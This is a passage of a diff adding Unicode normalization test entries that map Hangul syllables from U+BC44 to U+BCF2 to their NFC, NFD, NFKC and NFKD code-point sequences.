+{ source: [0xBC44], NFC: [0xBC44], NFD: [0x1107, 0x1162, 0x11BB], NFKC: [0xBC44], NFKD: [0x1107, 0x1162, 0x11BB] },
+{ source: [0xBC45], NFC: [0xBC45], NFD: [0x1107, 0x1162, 0x11BC], NFKC: [0xBC45], NFKD: [0x1107, 0x1162, 0x11BC] },
+{ source: [0xBC46], NFC: [0xBC46], NFD: [0x1107, 0x1162, 0x11BD], NFKC: [0xBC46], NFKD: [0x1107, 0x1162, 0x11BD] },
+{ source: [0xBC47], NFC: [0xBC47], NFD: [0x1107, 0x1162, 0x11BE], NFKC: [0xBC47], NFKD: [0x1107, 0x1162, 0x11BE] },
+{ source: [0xBC48], NFC: [0xBC48], NFD: [0x1107, 0x1162, 0x11BF], NFKC: [0xBC48], NFKD: [0x1107, 0x1162, 0x11BF] },
+{ source: [0xBC49], NFC: [0xBC49], NFD: [0x1107, 0x1162, 0x11C0], NFKC: [0xBC49], NFKD: [0x1107, 0x1162, 0x11C0] },
+{ source: [0xBC4A], NFC: [0xBC4A], NFD: [0x1107, 0x1162, 0x11C1], NFKC: [0xBC4A], NFKD: [0x1107, 0x1162, 0x11C1] },
+{ source: [0xBC4B], NFC: [0xBC4B], NFD: [0x1107, 0x1162, 0x11C2], NFKC: [0xBC4B], NFKD: [0x1107, 0x1162, 0x11C2] },
+{ source: [0xBC4C], NFC: [0xBC4C], NFD: [0x1107, 0x1163], NFKC: [0xBC4C], NFKD: [0x1107, 0x1163] },
+{ source: [0xBC4D], NFC: [0xBC4D], NFD: [0x1107, 0x1163, 0x11A8], NFKC: [0xBC4D], NFKD: [0x1107, 0x1163, 0x11A8] },
+{ source: [0xBC4E], NFC: [0xBC4E], NFD: [0x1107, 0x1163, 0x11A9], NFKC: [0xBC4E], NFKD: [0x1107, 0x1163, 0x11A9] },
+{ source: [0xBC4F], NFC: [0xBC4F], NFD: [0x1107, 0x1163, 0x11AA], NFKC: [0xBC4F], NFKD: [0x1107, 0x1163, 0x11AA] },
+{ source: [0xBC50], NFC: [0xBC50], NFD: [0x1107, 0x1163, 0x11AB], NFKC: [0xBC50], NFKD: [0x1107, 0x1163, 0x11AB] },
+{ source: [0xBC51], NFC: [0xBC51], NFD: [0x1107, 0x1163, 0x11AC], NFKC: [0xBC51], NFKD: [0x1107, 0x1163, 0x11AC] },
+{ source: [0xBC52], NFC: [0xBC52], NFD: [0x1107, 0x1163, 0x11AD], NFKC: [0xBC52], NFKD: [0x1107, 0x1163, 0x11AD] },
+{ source: [0xBC53], NFC: [0xBC53], NFD: [0x1107, 0x1163, 0x11AE], NFKC: [0xBC53], NFKD: [0x1107, 0x1163, 0x11AE] },
+{ source: [0xBC54], NFC: [0xBC54], NFD: [0x1107, 0x1163, 0x11AF], NFKC: [0xBC54], NFKD: [0x1107, 0x1163, 0x11AF] },
+{ source: [0xBC55], NFC: [0xBC55], NFD: [0x1107, 0x1163, 0x11B0], NFKC: [0xBC55], NFKD: [0x1107, 0x1163, 0x11B0] },
+{ source: [0xBC56], NFC: [0xBC56], NFD: [0x1107, 0x1163, 0x11B1], NFKC: [0xBC56], NFKD: [0x1107, 0x1163, 0x11B1] },
+{ source: [0xBC57], NFC: [0xBC57], NFD: [0x1107, 0x1163, 0x11B2], NFKC: [0xBC57], NFKD: [0x1107, 0x1163, 0x11B2] },
+{ source: [0xBC58], NFC: [0xBC58], NFD: [0x1107, 0x1163, 0x11B3], NFKC: [0xBC58], NFKD: [0x1107, 0x1163, 0x11B3] },
+{ source: [0xBC59], NFC: [0xBC59], NFD: [0x1107, 0x1163, 0x11B4], NFKC: [0xBC59], NFKD: [0x1107, 0x1163, 0x11B4] },
+{ source: [0xBC5A], NFC: [0xBC5A], NFD: [0x1107, 0x1163, 0x11B5], NFKC: [0xBC5A], NFKD: [0x1107, 0x1163, 0x11B5] },
+{ source: [0xBC5B], NFC: [0xBC5B], NFD: [0x1107, 0x1163, 0x11B6], NFKC: [0xBC5B], NFKD: [0x1107, 0x1163, 0x11B6] },
+{ source: [0xBC5C], NFC: [0xBC5C], NFD: [0x1107, 0x1163, 0x11B7], NFKC: [0xBC5C], NFKD: [0x1107, 0x1163, 0x11B7] },
+{ source: [0xBC5D], NFC: [0xBC5D], NFD: [0x1107, 0x1163, 0x11B8], NFKC: [0xBC5D], NFKD: [0x1107, 0x1163, 0x11B8] },
+{ source: [0xBC5E], NFC: [0xBC5E], NFD: [0x1107, 0x1163, 0x11B9], NFKC: [0xBC5E], NFKD: [0x1107, 0x1163, 0x11B9] },
+{ source: [0xBC5F], NFC: [0xBC5F], NFD: [0x1107, 0x1163, 0x11BA], NFKC: [0xBC5F], NFKD: [0x1107, 0x1163, 0x11BA] },
+{ source: [0xBC60], NFC: [0xBC60], NFD: [0x1107, 0x1163, 0x11BB], NFKC: [0xBC60], NFKD: [0x1107, 0x1163, 0x11BB] },
+{ source: [0xBC61], NFC: [0xBC61], NFD: [0x1107, 0x1163, 0x11BC], NFKC: [0xBC61], NFKD: [0x1107, 0x1163, 0x11BC] },
+{ source: [0xBC62], NFC: [0xBC62], NFD: [0x1107, 0x1163, 0x11BD], NFKC: [0xBC62], NFKD: [0x1107, 0x1163, 0x11BD] },
+{ source: [0xBC63], NFC: [0xBC63], NFD: [0x1107, 0x1163, 0x11BE], NFKC: [0xBC63], NFKD: [0x1107, 0x1163, 0x11BE] },
+{ source: [0xBC64], NFC: [0xBC64], NFD: [0x1107, 0x1163, 0x11BF], NFKC: [0xBC64], NFKD: [0x1107, 0x1163, 0x11BF] },
+{ source: [0xBC65], NFC: [0xBC65], NFD: [0x1107, 0x1163, 0x11C0], NFKC: [0xBC65], NFKD: [0x1107, 0x1163, 0x11C0] },
+{ source: [0xBC66], NFC: [0xBC66], NFD: [0x1107, 0x1163, 0x11C1], NFKC: [0xBC66], NFKD: [0x1107, 0x1163, 0x11C1] },
+{ source: [0xBC67], NFC: [0xBC67], NFD: [0x1107, 0x1163, 0x11C2], NFKC: [0xBC67], NFKD: [0x1107, 0x1163, 0x11C2] },
+{ source: [0xBC68], NFC: [0xBC68], NFD: [0x1107, 0x1164], NFKC: [0xBC68], NFKD: [0x1107, 0x1164] },
+{ source: [0xBC69], NFC: [0xBC69], NFD: [0x1107, 0x1164, 0x11A8], NFKC: [0xBC69], NFKD: [0x1107, 0x1164, 0x11A8] },
+{ source: [0xBC6A], NFC: [0xBC6A], NFD: [0x1107, 0x1164, 0x11A9], NFKC: [0xBC6A], NFKD: [0x1107, 0x1164, 0x11A9] },
+{ source: [0xBC6B], NFC: [0xBC6B], NFD: [0x1107, 0x1164, 0x11AA], NFKC: [0xBC6B], NFKD: [0x1107, 0x1164, 0x11AA] },
+{ source: [0xBC6C], NFC: [0xBC6C], NFD: [0x1107, 0x1164, 0x11AB], NFKC: [0xBC6C], NFKD: [0x1107, 0x1164, 0x11AB] },
+{ source: [0xBC6D], NFC: [0xBC6D], NFD: [0x1107, 0x1164, 0x11AC], NFKC: [0xBC6D], NFKD: [0x1107, 0x1164, 0x11AC] },
+{ source: [0xBC6E], NFC: [0xBC6E], NFD: [0x1107, 0x1164, 0x11AD], NFKC: [0xBC6E], NFKD: [0x1107, 0x1164, 0x11AD] },
+{ source: [0xBC6F], NFC: [0xBC6F], NFD: [0x1107, 0x1164, 0x11AE], NFKC: [0xBC6F], NFKD: [0x1107, 0x1164, 0x11AE] },
+{ source: [0xBC70], NFC: [0xBC70], NFD: [0x1107, 0x1164, 0x11AF], NFKC: [0xBC70], NFKD: [0x1107, 0x1164, 0x11AF] },
+{ source: [0xBC71], NFC: [0xBC71], NFD: [0x1107, 0x1164, 0x11B0], NFKC: [0xBC71], NFKD: [0x1107, 0x1164, 0x11B0] },
+{ source: [0xBC72], NFC: [0xBC72], NFD: [0x1107, 0x1164, 0x11B1], NFKC: [0xBC72], NFKD: [0x1107, 0x1164, 0x11B1] },
+{ source: [0xBC73], NFC: [0xBC73], NFD: [0x1107, 0x1164, 0x11B2], NFKC: [0xBC73], NFKD: [0x1107, 0x1164, 0x11B2] },
+{ source: [0xBC74], NFC: [0xBC74], NFD: [0x1107, 0x1164, 0x11B3], NFKC: [0xBC74], NFKD: [0x1107, 0x1164, 0x11B3] },
+{ source: [0xBC75], NFC: [0xBC75], NFD: [0x1107, 0x1164, 0x11B4], NFKC: [0xBC75], NFKD: [0x1107, 0x1164, 0x11B4] },
+{ source: [0xBC76], NFC: [0xBC76], NFD: [0x1107, 0x1164, 0x11B5], NFKC: [0xBC76], NFKD: [0x1107, 0x1164, 0x11B5] },
+{ source: [0xBC77], NFC: [0xBC77], NFD: [0x1107, 0x1164, 0x11B6], NFKC: [0xBC77], NFKD: [0x1107, 0x1164, 0x11B6] },
+{ source: [0xBC78], NFC: [0xBC78], NFD: [0x1107, 0x1164, 0x11B7], NFKC: [0xBC78], NFKD: [0x1107, 0x1164, 0x11B7] },
+{ source: [0xBC79], NFC: [0xBC79], NFD: [0x1107, 0x1164, 0x11B8], NFKC: [0xBC79], NFKD: [0x1107, 0x1164, 0x11B8] },
+{ source: [0xBC7A], NFC: [0xBC7A], NFD: [0x1107, 0x1164, 0x11B9], NFKC: [0xBC7A], NFKD: [0x1107, 0x1164, 0x11B9] },
+{ source: [0xBC7B], NFC: [0xBC7B], NFD: [0x1107, 0x1164, 0x11BA], NFKC: [0xBC7B], NFKD: [0x1107, 0x1164, 0x11BA] },
+{ source: [0xBC7C], NFC: [0xBC7C], NFD: [0x1107, 0x1164, 0x11BB], NFKC: [0xBC7C], NFKD: [0x1107, 0x1164, 0x11BB] },
+{ source: [0xBC7D], NFC: [0xBC7D], NFD: [0x1107, 0x1164, 0x11BC], NFKC: [0xBC7D], NFKD: [0x1107, 0x1164, 0x11BC] },
+{ source: [0xBC7E], NFC: [0xBC7E], NFD: [0x1107, 0x1164, 0x11BD], NFKC: [0xBC7E], NFKD: [0x1107, 0x1164, 0x11BD] },
+{ source: [0xBC7F], NFC: [0xBC7F], NFD: [0x1107, 0x1164, 0x11BE], NFKC: [0xBC7F], NFKD: [0x1107, 0x1164, 0x11BE] },
+{ source: [0xBC80], NFC: [0xBC80], NFD: [0x1107, 0x1164, 0x11BF], NFKC: [0xBC80], NFKD: [0x1107, 0x1164, 0x11BF] },
+{ source: [0xBC81], NFC: [0xBC81], NFD: [0x1107, 0x1164, 0x11C0], NFKC: [0xBC81], NFKD: [0x1107, 0x1164, 0x11C0] },
+{ source: [0xBC82], NFC: [0xBC82], NFD: [0x1107, 0x1164, 0x11C1], NFKC: [0xBC82], NFKD: [0x1107, 0x1164, 0x11C1] },
+{ source: [0xBC83], NFC: [0xBC83], NFD: [0x1107, 0x1164, 0x11C2], NFKC: [0xBC83], NFKD: [0x1107, 0x1164, 0x11C2] },
+{ source: [0xBC84], NFC: [0xBC84], NFD: [0x1107, 0x1165], NFKC: [0xBC84], NFKD: [0x1107, 0x1165] },
+{ source: [0xBC85], NFC: [0xBC85], NFD: [0x1107, 0x1165, 0x11A8], NFKC: [0xBC85], NFKD: [0x1107, 0x1165, 0x11A8] },
+{ source: [0xBC86], NFC: [0xBC86], NFD: [0x1107, 0x1165, 0x11A9], NFKC: [0xBC86], NFKD: [0x1107, 0x1165, 0x11A9] },
+{ source: [0xBC87], NFC: [0xBC87], NFD: [0x1107, 0x1165, 0x11AA], NFKC: [0xBC87], NFKD: [0x1107, 0x1165, 0x11AA] },
+{ source: [0xBC88], NFC: [0xBC88], NFD: [0x1107, 0x1165, 0x11AB], NFKC: [0xBC88], NFKD: [0x1107, 0x1165, 0x11AB] },
+{ source: [0xBC89], NFC: [0xBC89], NFD: [0x1107, 0x1165, 0x11AC], NFKC: [0xBC89], NFKD: [0x1107, 0x1165, 0x11AC] },
+{ source: [0xBC8A], NFC: [0xBC8A], NFD: [0x1107, 0x1165, 0x11AD], NFKC: [0xBC8A], NFKD: [0x1107, 0x1165, 0x11AD] },
+{ source: [0xBC8B], NFC: [0xBC8B], NFD: [0x1107, 0x1165, 0x11AE], NFKC: [0xBC8B], NFKD: [0x1107, 0x1165, 0x11AE] },
+{ source: [0xBC8C], NFC: [0xBC8C], NFD: [0x1107, 0x1165, 0x11AF], NFKC: [0xBC8C], NFKD: [0x1107, 0x1165, 0x11AF] },
+{ source: [0xBC8D], NFC: [0xBC8D], NFD: [0x1107, 0x1165, 0x11B0], NFKC: [0xBC8D], NFKD: [0x1107, 0x1165, 0x11B0] },
+{ source: [0xBC8E], NFC: [0xBC8E], NFD: [0x1107, 0x1165, 0x11B1], NFKC: [0xBC8E], NFKD: [0x1107, 0x1165, 0x11B1] },
+{ source: [0xBC8F], NFC: [0xBC8F], NFD: [0x1107, 0x1165, 0x11B2], NFKC: [0xBC8F], NFKD: [0x1107, 0x1165, 0x11B2] },
+{ source: [0xBC90], NFC: [0xBC90], NFD: [0x1107, 0x1165, 0x11B3], NFKC: [0xBC90], NFKD: [0x1107, 0x1165, 0x11B3] },
+{ source: [0xBC91], NFC: [0xBC91], NFD: [0x1107, 0x1165, 0x11B4], NFKC: [0xBC91], NFKD: [0x1107, 0x1165, 0x11B4] },
+{ source: [0xBC92], NFC: [0xBC92], NFD: [0x1107, 0x1165, 0x11B5], NFKC: [0xBC92], NFKD: [0x1107, 0x1165, 0x11B5] },
+{ source: [0xBC93], NFC: [0xBC93], NFD: [0x1107, 0x1165, 0x11B6], NFKC: [0xBC93], NFKD: [0x1107, 0x1165, 0x11B6] },
+{ source: [0xBC94], NFC: [0xBC94], NFD: [0x1107, 0x1165, 0x11B7], NFKC: [0xBC94], NFKD: [0x1107, 0x1165, 0x11B7] },
+{ source: [0xBC95], NFC: [0xBC95], NFD: [0x1107, 0x1165, 0x11B8], NFKC: [0xBC95], NFKD: [0x1107, 0x1165, 0x11B8] },
+{ source: [0xBC96], NFC: [0xBC96], NFD: [0x1107, 0x1165, 0x11B9], NFKC: [0xBC96], NFKD: [0x1107, 0x1165, 0x11B9] },
+{ source: [0xBC97], NFC: [0xBC97], NFD: [0x1107, 0x1165, 0x11BA], NFKC: [0xBC97], NFKD: [0x1107, 0x1165, 0x11BA] },
+{ source: [0xBC98], NFC: [0xBC98], NFD: [0x1107, 0x1165, 0x11BB], NFKC: [0xBC98], NFKD: [0x1107, 0x1165, 0x11BB] },
+{ source: [0xBC99], NFC: [0xBC99], NFD: [0x1107, 0x1165, 0x11BC], NFKC: [0xBC99], NFKD: [0x1107, 0x1165, 0x11BC] },
+{ source: [0xBC9A], NFC: [0xBC9A], NFD: [0x1107, 0x1165, 0x11BD], NFKC: [0xBC9A], NFKD: [0x1107, 0x1165, 0x11BD] },
+{ source: [0xBC9B], NFC: [0xBC9B], NFD: [0x1107, 0x1165, 0x11BE], NFKC: [0xBC9B], NFKD: [0x1107, 0x1165, 0x11BE] },
+{ source: [0xBC9C], NFC: [0xBC9C], NFD: [0x1107, 0x1165, 0x11BF], NFKC: [0xBC9C], NFKD: [0x1107, 0x1165, 0x11BF] },
+{ source: [0xBC9D], NFC: [0xBC9D], NFD: [0x1107, 0x1165, 0x11C0], NFKC: [0xBC9D], NFKD: [0x1107, 0x1165, 0x11C0] },
+{ source: [0xBC9E], NFC: [0xBC9E], NFD: [0x1107, 0x1165, 0x11C1], NFKC: [0xBC9E], NFKD: [0x1107, 0x1165, 0x11C1] },
+{ source: [0xBC9F], NFC: [0xBC9F], NFD: [0x1107, 0x1165, 0x11C2], NFKC: [0xBC9F], NFKD: [0x1107, 0x1165, 0x11C2] },
+{ source: [0xBCA0], NFC: [0xBCA0], NFD: [0x1107, 0x1166], NFKC: [0xBCA0], NFKD: [0x1107, 0x1166] },
+{ source: [0xBCA1], NFC: [0xBCA1], NFD: [0x1107, 0x1166, 0x11A8], NFKC: [0xBCA1], NFKD: [0x1107, 0x1166, 0x11A8] },
+{ source: [0xBCA2], NFC: [0xBCA2], NFD: [0x1107, 0x1166, 0x11A9], NFKC: [0xBCA2], NFKD: [0x1107, 0x1166, 0x11A9] },
+{ source: [0xBCA3], NFC: [0xBCA3], NFD: [0x1107, 0x1166, 0x11AA], NFKC: [0xBCA3], NFKD: [0x1107, 0x1166, 0x11AA] },
+{ source: [0xBCA4], NFC: [0xBCA4], NFD: [0x1107, 0x1166, 0x11AB], NFKC: [0xBCA4], NFKD: [0x1107, 0x1166, 0x11AB] },
+{ source: [0xBCA5], NFC: [0xBCA5], NFD: [0x1107, 0x1166, 0x11AC], NFKC: [0xBCA5], NFKD: [0x1107, 0x1166, 0x11AC] },
+{ source: [0xBCA6], NFC: [0xBCA6], NFD: [0x1107, 0x1166, 0x11AD], NFKC: [0xBCA6], NFKD: [0x1107, 0x1166, 0x11AD] },
+{ source: [0xBCA7], NFC: [0xBCA7], NFD: [0x1107, 0x1166, 0x11AE], NFKC: [0xBCA7], NFKD: [0x1107, 0x1166, 0x11AE] },
+{ source: [0xBCA8], NFC: [0xBCA8], NFD: [0x1107, 0x1166, 0x11AF], NFKC: [0xBCA8], NFKD: [0x1107, 0x1166, 0x11AF] },
+{ source: [0xBCA9], NFC: [0xBCA9], NFD: [0x1107, 0x1166, 0x11B0], NFKC: [0xBCA9], NFKD: [0x1107, 0x1166, 0x11B0] },
+{ source: [0xBCAA], NFC: [0xBCAA], NFD: [0x1107, 0x1166, 0x11B1], NFKC: [0xBCAA], NFKD: [0x1107, 0x1166, 0x11B1] },
+{ source: [0xBCAB], NFC: [0xBCAB], NFD: [0x1107, 0x1166, 0x11B2], NFKC: [0xBCAB], NFKD: [0x1107, 0x1166, 0x11B2] },
+{ source: [0xBCAC], NFC: [0xBCAC], NFD: [0x1107, 0x1166, 0x11B3], NFKC: [0xBCAC], NFKD: [0x1107, 0x1166, 0x11B3] },
+{ source: [0xBCAD], NFC: [0xBCAD], NFD: [0x1107, 0x1166, 0x11B4], NFKC: [0xBCAD], NFKD: [0x1107, 0x1166, 0x11B4] },
+{ source: [0xBCAE], NFC: [0xBCAE], NFD: [0x1107, 0x1166, 0x11B5], NFKC: [0xBCAE], NFKD: [0x1107, 0x1166, 0x11B5] },
+{ source: [0xBCAF], NFC: [0xBCAF], NFD: [0x1107, 0x1166, 0x11B6], NFKC: [0xBCAF], NFKD: [0x1107, 0x1166, 0x11B6] },
+{ source: [0xBCB0], NFC: [0xBCB0], NFD: [0x1107, 0x1166, 0x11B7], NFKC: [0xBCB0], NFKD: [0x1107, 0x1166, 0x11B7] },
+{ source: [0xBCB1], NFC: [0xBCB1], NFD: [0x1107, 0x1166, 0x11B8], NFKC: [0xBCB1], NFKD: [0x1107, 0x1166, 0x11B8] },
+{ source: [0xBCB2], NFC: [0xBCB2], NFD: [0x1107, 0x1166, 0x11B9], NFKC: [0xBCB2], NFKD: [0x1107, 0x1166, 0x11B9] },
+{ source: [0xBCB3], NFC: [0xBCB3], NFD: [0x1107, 0x1166, 0x11BA], NFKC: [0xBCB3], NFKD: [0x1107, 0x1166, 0x11BA] },
+{ source: [0xBCB4], NFC: [0xBCB4], NFD: [0x1107, 0x1166, 0x11BB], NFKC: [0xBCB4], NFKD: [0x1107, 0x1166, 0x11BB] },
+{ source: [0xBCB5], NFC: [0xBCB5], NFD: [0x1107, 0x1166, 0x11BC], NFKC: [0xBCB5], NFKD: [0x1107, 0x1166, 0x11BC] },
+{ source: [0xBCB6], NFC: [0xBCB6], NFD: [0x1107, 0x1166, 0x11BD], NFKC: [0xBCB6], NFKD: [0x1107, 0x1166, 0x11BD] },
+{ source: [0xBCB7], NFC: [0xBCB7], NFD: [0x1107, 0x1166, 0x11BE], NFKC: [0xBCB7], NFKD: [0x1107, 0x1166, 0x11BE] },
+{ source: [0xBCB8], NFC: [0xBCB8], NFD: [0x1107, 0x1166, 0x11BF], NFKC: [0xBCB8], NFKD: [0x1107, 0x1166, 0x11BF] },
+{ source: [0xBCB9], NFC: [0xBCB9], NFD: [0x1107, 0x1166, 0x11C0], NFKC: [0xBCB9], NFKD: [0x1107, 0x1166, 0x11C0] },
+{ source: [0xBCBA], NFC: [0xBCBA], NFD: [0x1107, 0x1166, 0x11C1], NFKC: [0xBCBA], NFKD: [0x1107, 0x1166, 0x11C1] },
+{ source: [0xBCBB], NFC: [0xBCBB], NFD: [0x1107, 0x1166, 0x11C2], NFKC: [0xBCBB], NFKD: [0x1107, 0x1166, 0x11C2] },
+{ source: [0xBCBC], NFC: [0xBCBC], NFD: [0x1107, 0x1167], NFKC: [0xBCBC], NFKD: [0x1107, 0x1167] },
+{ source: [0xBCBD], NFC: [0xBCBD], NFD: [0x1107, 0x1167, 0x11A8], NFKC: [0xBCBD], NFKD: [0x1107, 0x1167, 0x11A8] },
+{ source: [0xBCBE], NFC: [0xBCBE], NFD: [0x1107, 0x1167, 0x11A9], NFKC: [0xBCBE], NFKD: [0x1107, 0x1167, 0x11A9] },
+{ source: [0xBCBF], NFC: [0xBCBF], NFD: [0x1107, 0x1167, 0x11AA], NFKC: [0xBCBF], NFKD: [0x1107, 0x1167, 0x11AA] },
+{ source: [0xBCC0], NFC: [0xBCC0], NFD: [0x1107, 0x1167, 0x11AB], NFKC: [0xBCC0], NFKD: [0x1107, 0x1167, 0x11AB] },
+{ source: [0xBCC1], NFC: [0xBCC1], NFD: [0x1107, 0x1167, 0x11AC], NFKC: [0xBCC1], NFKD: [0x1107, 0x1167, 0x11AC] },
+{ source: [0xBCC2], NFC: [0xBCC2], NFD: [0x1107, 0x1167, 0x11AD], NFKC: [0xBCC2], NFKD: [0x1107, 0x1167, 0x11AD] },
+{ source: [0xBCC3], NFC: [0xBCC3], NFD: [0x1107, 0x1167, 0x11AE], NFKC: [0xBCC3], NFKD: [0x1107, 0x1167, 0x11AE] },
+{ source: [0xBCC4], NFC: [0xBCC4], NFD: [0x1107, 0x1167, 0x11AF], NFKC: [0xBCC4], NFKD: [0x1107, 0x1167, 0x11AF] },
+{ source: [0xBCC5], NFC: [0xBCC5], NFD: [0x1107, 0x1167, 0x11B0], NFKC: [0xBCC5], NFKD: [0x1107, 0x1167, 0x11B0] },
+{ source: [0xBCC6], NFC: [0xBCC6], NFD: [0x1107, 0x1167, 0x11B1], NFKC: [0xBCC6], NFKD: [0x1107, 0x1167, 0x11B1] },
+{ source: [0xBCC7], NFC: [0xBCC7], NFD: [0x1107, 0x1167, 0x11B2], NFKC: [0xBCC7], NFKD: [0x1107, 0x1167, 0x11B2] },
+{ source: [0xBCC8], NFC: [0xBCC8], NFD: [0x1107, 0x1167, 0x11B3], NFKC: [0xBCC8], NFKD: [0x1107, 0x1167, 0x11B3] },
+{ source: [0xBCC9], NFC: [0xBCC9], NFD: [0x1107, 0x1167, 0x11B4], NFKC: [0xBCC9], NFKD: [0x1107, 0x1167, 0x11B4] },
+{ source: [0xBCCA], NFC: [0xBCCA], NFD: [0x1107, 0x1167, 0x11B5], NFKC: [0xBCCA], NFKD: [0x1107, 0x1167, 0x11B5] },
+{ source: [0xBCCB], NFC: [0xBCCB], NFD: [0x1107, 0x1167, 0x11B6], NFKC: [0xBCCB], NFKD: [0x1107, 0x1167, 0x11B6] },
+{ source: [0xBCCC], NFC: [0xBCCC], NFD: [0x1107, 0x1167, 0x11B7], NFKC: [0xBCCC], NFKD: [0x1107, 0x1167, 0x11B7] },
+{ source: [0xBCCD], NFC: [0xBCCD], NFD: [0x1107, 0x1167, 0x11B8], NFKC: [0xBCCD], NFKD: [0x1107, 0x1167, 0x11B8] },
+{ source: [0xBCCE], NFC: [0xBCCE], NFD: [0x1107, 0x1167, 0x11B9], NFKC: [0xBCCE], NFKD: [0x1107, 0x1167, 0x11B9] },
+{ source: [0xBCCF], NFC: [0xBCCF], NFD: [0x1107, 0x1167, 0x11BA], NFKC: [0xBCCF], NFKD: [0x1107, 0x1167, 0x11BA] },
+{ source: [0xBCD0], NFC: [0xBCD0], NFD: [0x1107, 0x1167, 0x11BB], NFKC: [0xBCD0], NFKD: [0x1107, 0x1167, 0x11BB] },
+{ source: [0xBCD1], NFC: [0xBCD1], NFD: [0x1107, 0x1167, 0x11BC], NFKC: [0xBCD1], NFKD: [0x1107, 0x1167, 0x11BC] },
+{ source: [0xBCD2], NFC: [0xBCD2], NFD: [0x1107, 0x1167, 0x11BD], NFKC: [0xBCD2], NFKD: [0x1107, 0x1167, 0x11BD] },
+{ source: [0xBCD3], NFC: [0xBCD3], NFD: [0x1107, 0x1167, 0x11BE], NFKC: [0xBCD3], NFKD: [0x1107, 0x1167, 0x11BE] },
+{ source: [0xBCD4], NFC: [0xBCD4], NFD: [0x1107, 0x1167, 0x11BF], NFKC: [0xBCD4], NFKD: [0x1107, 0x1167, 0x11BF] },
+{ source: [0xBCD5], NFC: [0xBCD5], NFD: [0x1107, 0x1167, 0x11C0], NFKC: [0xBCD5], NFKD: [0x1107, 0x1167, 0x11C0] },
+{ source: [0xBCD6], NFC: [0xBCD6], NFD: [0x1107, 0x1167, 0x11C1], NFKC: [0xBCD6], NFKD: [0x1107, 0x1167, 0x11C1] },
+{ source: [0xBCD7], NFC: [0xBCD7], NFD: [0x1107, 0x1167, 0x11C2], NFKC: [0xBCD7], NFKD: [0x1107, 0x1167, 0x11C2] },
+{ source: [0xBCD8], NFC: [0xBCD8], NFD: [0x1107, 0x1168], NFKC: [0xBCD8], NFKD: [0x1107, 0x1168] },
+{ source: [0xBCD9], NFC: [0xBCD9], NFD: [0x1107, 0x1168, 0x11A8], NFKC: [0xBCD9], NFKD: [0x1107, 0x1168, 0x11A8] },
+{ source: [0xBCDA], NFC: [0xBCDA], NFD: [0x1107, 0x1168, 0x11A9], NFKC: [0xBCDA], NFKD: [0x1107, 0x1168, 0x11A9] },
+{ source: [0xBCDB], NFC: [0xBCDB], NFD: [0x1107, 0x1168, 0x11AA], NFKC: [0xBCDB], NFKD: [0x1107, 0x1168, 0x11AA] },
+{ source: [0xBCDC], NFC: [0xBCDC], NFD: [0x1107, 0x1168, 0x11AB], NFKC: [0xBCDC], NFKD: [0x1107, 0x1168, 0x11AB] },
+{ source: [0xBCDD], NFC: [0xBCDD], NFD: [0x1107, 0x1168, 0x11AC], NFKC: [0xBCDD], NFKD: [0x1107, 0x1168, 0x11AC] },
+{ source: [0xBCDE], NFC: [0xBCDE], NFD: [0x1107, 0x1168, 0x11AD], NFKC: [0xBCDE], NFKD: [0x1107, 0x1168, 0x11AD] },
+{ source: [0xBCDF], NFC: [0xBCDF], NFD: [0x1107, 0x1168, 0x11AE], NFKC: [0xBCDF], NFKD: [0x1107, 0x1168, 0x11AE] },
+{ source: [0xBCE0], NFC: [0xBCE0], NFD: [0x1107, 0x1168, 0x11AF], NFKC: [0xBCE0], NFKD: [0x1107, 0x1168, 0x11AF] },
+{ source: [0xBCE1], NFC: [0xBCE1], NFD: [0x1107, 0x1168, 0x11B0], NFKC: [0xBCE1], NFKD: [0x1107, 0x1168, 0x11B0] },
+{ source: [0xBCE2], NFC: [0xBCE2], NFD: [0x1107, 0x1168, 0x11B1], NFKC: [0xBCE2], NFKD: [0x1107, 0x1168, 0x11B1] },
+{ source: [0xBCE3], NFC: [0xBCE3], NFD: [0x1107, 0x1168, 0x11B2], NFKC: [0xBCE3], NFKD: [0x1107, 0x1168, 0x11B2] },
+{ source: [0xBCE4], NFC: [0xBCE4], NFD: [0x1107, 0x1168, 0x11B3], NFKC: [0xBCE4], NFKD: [0x1107, 0x1168, 0x11B3] },
+{ source: [0xBCE5], NFC: [0xBCE5], NFD: [0x1107, 0x1168, 0x11B4], NFKC: [0xBCE5], NFKD: [0x1107, 0x1168, 0x11B4] },
+{ source: [0xBCE6], NFC: [0xBCE6], NFD: [0x1107, 0x1168, 0x11B5], NFKC: [0xBCE6], NFKD: [0x1107, 0x1168, 0x11B5] },
+{ source: [0xBCE7], NFC: [0xBCE7], NFD: [0x1107, 0x1168, 0x11B6], NFKC: [0xBCE7], NFKD: [0x1107, 0x1168, 0x11B6] },
+{ source: [0xBCE8], NFC: [0xBCE8], NFD: [0x1107, 0x1168, 0x11B7], NFKC: [0xBCE8], NFKD: [0x1107, 0x1168, 0x11B7] },
+{ source: [0xBCE9], NFC: [0xBCE9], NFD: [0x1107, 0x1168, 0x11B8], NFKC: [0xBCE9], NFKD: [0x1107, 0x1168, 0x11B8] },
+{ source: [0xBCEA], NFC: [0xBCEA], NFD: [0x1107, 0x1168, 0x11B9], NFKC: [0xBCEA], NFKD: [0x1107, 0x1168, 0x11B9] },
+{ source: [0xBCEB], NFC: [0xBCEB], NFD: [0x1107, 0x1168, 0x11BA], NFKC: [0xBCEB], NFKD: [0x1107, 0x1168, 0x11BA] },
+{ source: [0xBCEC], NFC: [0xBCEC], NFD: [0x1107, 0x1168, 0x11BB], NFKC: [0xBCEC], NFKD: [0x1107, 0x1168, 0x11BB] },
+{ source: [0xBCED], NFC: [0xBCED], NFD: [0x1107, 0x1168, 0x11BC], NFKC: [0xBCED], NFKD: [0x1107, 0x1168, 0x11BC] },
+{ source: [0xBCEE], NFC: [0xBCEE], NFD: [0x1107, 0x1168, 0x11BD], NFKC: [0xBCEE], NFKD: [0x1107, 0x1168, 0x11BD] },
+{ source: [0xBCEF], NFC: [0xBCEF], NFD: [0x1107, 0x1168, 0x11BE], NFKC: [0xBCEF], NFKD: [0x1107, 0x1168, 0x11BE] },
+{ source: [0xBCF0], NFC: [0xBCF0], NFD: [0x1107, 0x1168, 0x11BF], NFKC: [0xBCF0], NFKD: [0x1107, 0x1168, 0x11BF] },
+{ source: [0xBCF1], NFC: [0xBCF1], NFD: [0x1107, 0x1168, 0x11C0], NFKC: [0xBCF1], NFKD: [0x1107, 0x1168, 0x11C0] },
+{ source: [0xBCF2], NFC: [0xBCF2], NFD: [0x1107, 0x1168, 0x11C1], NFKC: [0xBCF2], NFKD: [0x1107, 0x1168, 0x11C1] },
